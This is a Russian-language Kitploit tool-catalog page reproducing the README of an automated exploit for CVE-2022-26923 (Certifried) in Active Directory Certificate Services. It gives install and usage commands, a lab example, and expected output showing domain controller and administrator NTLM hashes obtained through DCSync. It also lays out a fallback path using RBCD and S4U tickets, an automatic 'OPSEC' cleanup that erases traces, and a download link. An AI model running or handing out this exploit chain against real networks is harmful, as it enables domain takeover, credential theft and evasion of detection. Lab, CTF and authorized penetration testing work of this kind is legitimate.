Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-26923 — Автоматизированная эксплуатация CVE-2022-26923 (Certifried) | Kitploit
Инструменты/GitHubGitHub/nefhara/cve-2022-26923
Повышение привилегийАнализ уязвимостейЭксплуатацияПост-эксплуатацияCTFТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеЛаборатории и Практика
GitHubnefhara/cve-2022-26923

CVE-2022-26923

Автоматизированная эксплуатация CVE-2022-26923 (Certifried)

23 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2022-26923 – Эксплойт Certifried (Злоупотребление AD CS)

Автоматизированная эксплуатация CVE-2022-26923 (Certifried), позволяющая повысить привилегии через злоупотребление службами сертификации Active Directory (AD CS), с автоматическим переходом на делегирование на основе ресурсов (RBCD) и последующим извлечением NTLM-хеша учётной записи администратора домена.

⚠️ Только для образовательных целей / Лаборатории / CTF

Не используйте в несанкционированных средах.


🎯 Описание

Этот скрипт автоматизирует следующую цепочку атак:

Метод 1 — Классический (Прямая эксплуатация CVE)

  1. Создание контролируемой учётной записи компьютера (случайное имя для избежания конфликтов)
  2. Подмена атрибута dNSHostName на имя контроллера домена
  3. Запрос сертификата компьютера через AD CS
  4. Аутентификация с помощью сертификата → извлечение NTLM-хеша контроллера домена через PKINIT
  5. Выполнение атаки DCSync с помощью secretsdump.py с использованием хеша контроллера домена

Метод 2 — Запасной (RBCD) (автоматически, если Метод 1 не сработал)

  1. Преобразование PFX в PEM для использования с bloodyAD
  2. Настройка делегирования на основе ресурсов (RBCD) на контроллере домена
  3. Добавление SPN к скомпрометированной учётной записи компьютера через impacket-addspn
  4. Запрос билета S4U2Self + S4U2Proxy с помощью getST.py
  5. Извлечение NTLM-хеша через secretsdump.py с использованием билета Kerberos

🔗 Уязвимость

  • CVE-2022-26923 – "Certifried" — CVSS 8.8 (Высокий)
  • Поражает среды Active Directory, использующие AD CS
  • Позволяет пользователю с низкими привилегиями выдать себя за контроллер домена, манипулируя атрибутом dNSHostName, что заставляет центр сертификации выпустить сертификат для учётной записи контроллера домена

🛠 Используемые инструменты


📦 Установка зависимостей

root@kitploit:~
pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 Использование

root@kitploit:~
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

Доступные опции

root@kitploit:~
-d, --dc-ip     IP-адрес контроллера домена
-D, --domain    Имя домена (например, corp.local)
-u, --user      Действительный пользователь домена (формат UPN: user@domain)
-p, --pass      Пароль пользователя
--verbose       Режим отладки: вывод всех выполняемых команд
-h, --help      Показать это справочное сообщение

🧠 Пример (HTB Certifried)

root@kitploit:~
./CVE-2022-26923.sh \
  -d 10.129.227.189 \
  -D certifried.htb \
  -u [email protected] \
  -p 'Ch4ng3m3!' \
  --verbose

Совет: Перед запуском определите точное имя CA и шаблона с помощью:

root@kitploit:~
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout

Затем обновите CA_NAME и TEMPLATE в значениях по умолчанию скрипта.


🔥 Ожидаемый вывод

В зависимости от среды сработает один из двух путей:

Метод 1 (Классический):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...

[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::

Метод 2 (Запасной RBCD):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...

[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::

Очистка OPSEC выполняется автоматически в конце (или при Ctrl+C):

root@kitploit:~
[*] Starting trace cleanup (OPSEC)...
    [OK] Cleanup complete.

🏗 Внутренняя схема атаки

root@kitploit:~
Random Machine Account Creation (e.g. PWN8472$)
              ↓
    dNSHostName Spoofing → dc.domain.local
              ↓
  Dynamic LDAP Sync Verification (polling)
              ↓
  Certificate Request via RPC (Machine Template)
    [NETBIOS timeout auto-retry up to 5x]
              ↓
┌─────────────────────────────────────────┐
│         METHOD 1 — CLASSIC              │
│   certipy-ad auth -pfx dc.pfx           │
│   → DC NTLM hash via PKINIT             │
│   → DCSync via secretsdump              │
└────────────────┬────────────────────────┘
                 │ [FAILS]
                 ▼
┌─────────────────────────────────────────┐
│         METHOD 2 — RBCD FALLBACK        │
│   PFX → PEM conversion (openssl)        │
│   bloodyAD: add rbcd dc$ COMP$          │
│   impacket-addspn: SPN on COMP$         │
│   getST: S4U2Self + S4U2Proxy (cifs/)   │
│   secretsdump via KRB5 ticket           │
└─────────────────────────────────────────┘
              ↓
 OPSEC Cleanup (trap EXIT/INT/TERM)
   - Remove RBCD attribute on DC
   - Delete machine account (COMP$)
   - Wipe local PFX / PEM / ccache files

🔧 Известные проблемы и устранение неисправностей


⚠️ Отказ от ответственности

Этот проект предоставляется для:

  • Образовательных и исследовательских целей
  • Личных лабораторных сред
  • Заданий CTF / HackTheBox / Capture-The-Flag
  • Санкционированных тестов на проникновение (с письменного разрешения)

Автор не несёт ответственности за любое несанкционированное или незаконное использование этого инструмента.

Скачать инструмент
ИнструментНазначение
certipy-adСоздание/обновление учётной записи, запрос сертификата, аутентификация PKINIT
bloodyADМанипуляция атрибутами RBCD (запасной метод)
impacket-addspnДобавление SPN на учётную запись компьютера (запасной метод)
impacket-getSTЗапрос билета S4U2Self + S4U2Proxy (запасной метод)
impacket-secretsdumpDCSync / извлечение NTLM-хеша
opensslПреобразование PFX → PEM (запасной метод)
СимптомПричинаИсправление
NETBIOS connection timed outЗадержка RPC AD CS на HTBОбрабатывается автоматически (5 повторных попыток)
KDC_ERR_BADOPTION в getSTОтсутствует SPN на COMP$Скрипт теперь использует impacket-addspn перед getST
KDC_ERR_WRONG_REALM в secretsdumpНеправильный SPN (LDAP против cifs)Скрипт использует SPN cifs/ для getST
Clock skew too greatРасхождение времени KerberosВыполните sudo ntpdate <DC_IP> перед запуском
Удаление учётной записи компьютера не удаетсяНедостаточно прав AD (обычно)Скрипт игнорирует ошибку с `
unrecognized arguments с certipy-adНеверный синтаксис (старый формат certipy)Скрипт использует явные флаги -u/-p/-target-ip